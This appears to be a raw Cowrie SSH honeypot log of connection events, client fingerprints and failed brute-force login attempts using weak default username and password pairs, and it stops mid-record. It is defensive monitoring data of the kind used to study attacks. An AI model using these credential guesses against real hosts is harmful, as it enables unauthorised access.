{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:35.627807Z","src_ip":"171.25.158.70","session":"6bb1c163d438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47630,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e562d14bfaf","protocol":"ssh","message":"New connection: 159.203.92.129:47630 (159.203.135.109:22) [session: 6e562d14bfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:54.255347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:54.259365Z","src_ip":"159.203.92.129","session":"6e562d14bfaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:54.262922Z","src_ip":"159.203.92.129","session":"6e562d14bfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"123456","message":"login attempt [1234/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:54.273559Z","src_ip":"159.203.92.129","session":"6e562d14bfaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:55.279904Z","src_ip":"159.203.92.129","session":"6e562d14bfaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":43578,"dst_ip":"10.17.0.5","dst_port":22,"session":"9adaa44e4bf4","protocol":"ssh","message":"New connection: 171.25.158.70:43578 (10.17.0.5:22) [session: 9adaa44e4bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:24.407546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:24.411822Z","src_ip":"171.25.158.70","session":"9adaa44e4bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":49316,"dst_ip":"10.17.0.5","dst_port":22,"session":"5606a62fc0a9","protocol":"ssh","message":"New connection: 27.119.7.6:49316 (10.17.0.5:22) [session: 5606a62fc0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:24.480814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:24.486174Z","src_ip":"27.119.7.6","session":"5606a62fc0a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:24.515485Z","src_ip":"171.25.158.70","session":"9adaa44e4bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:24.672439Z","src_ip":"27.119.7.6","session":"5606a62fc0a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12341234","message":"login attempt [admin/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:25.008384Z","src_ip":"171.25.158.70","session":"9adaa44e4bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rustserver","password":"123456","message":"login attempt [rustserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:25.450554Z","src_ip":"27.119.7.6","session":"5606a62fc0a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:26.115206Z","src_ip":"171.25.158.70","session":"9adaa44e4bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:26.639695Z","src_ip":"27.119.7.6","session":"5606a62fc0a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37080,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb75ee37f14a","protocol":"ssh","message":"New connection: 159.203.92.129:37080 (159.203.135.109:22) [session: bb75ee37f14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:38.086168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:38.090927Z","src_ip":"159.203.92.129","session":"bb75ee37f14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:38.095527Z","src_ip":"159.203.92.129","session":"bb75ee37f14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234567","message":"login attempt [1234/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:38.107962Z","src_ip":"159.203.92.129","session":"bb75ee37f14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:28:39.114618Z","src_ip":"159.203.92.129","session":"bb75ee37f14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":35728,"dst_ip":"10.17.0.5","dst_port":22,"session":"35705ff29539","protocol":"ssh","message":"New connection: 171.25.158.70:35728 (10.17.0.5:22) [session: 35705ff29539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:16.395227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:16.405403Z","src_ip":"171.25.158.70","session":"35705ff29539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:16.505951Z","src_ip":"171.25.158.70","session":"35705ff29539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"qweasdzxc","message":"login attempt [administrator/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:16.913688Z","src_ip":"171.25.158.70","session":"35705ff29539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:18.021854Z","src_ip":"171.25.158.70","session":"35705ff29539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45444,"dst_ip":"159.203.135.109","dst_port":22,"session":"b110945b4764","protocol":"ssh","message":"New connection: 159.203.92.129:45444 (159.203.135.109:22) [session: b110945b4764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:22.184440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:22.188505Z","src_ip":"159.203.92.129","session":"b110945b4764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:22.191557Z","src_ip":"159.203.92.129","session":"b110945b4764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12345678","message":"login attempt [1234/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:22.203757Z","src_ip":"159.203.92.129","session":"b110945b4764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:29:23.209941Z","src_ip":"159.203.92.129","session":"b110945b4764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":45406,"dst_ip":"10.17.0.5","dst_port":22,"session":"67622151ddfc","protocol":"ssh","message":"New connection: 171.25.158.70:45406 (10.17.0.5:22) [session: 67622151ddfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:05.110312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:05.118305Z","src_ip":"171.25.158.70","session":"67622151ddfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:05.228548Z","src_ip":"171.25.158.70","session":"67622151ddfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demouser","password":"demouser123","message":"login attempt [demouser/demouser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:05.714082Z","src_ip":"171.25.158.70","session":"67622151ddfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:06.832311Z","src_ip":"171.25.158.70","session":"67622151ddfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32948,"dst_ip":"159.203.135.109","dst_port":22,"session":"e055c27c6da5","protocol":"ssh","message":"New connection: 159.203.92.129:32948 (159.203.135.109:22) [session: e055c27c6da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:07.440079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:07.536721Z","src_ip":"159.203.92.129","session":"e055c27c6da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 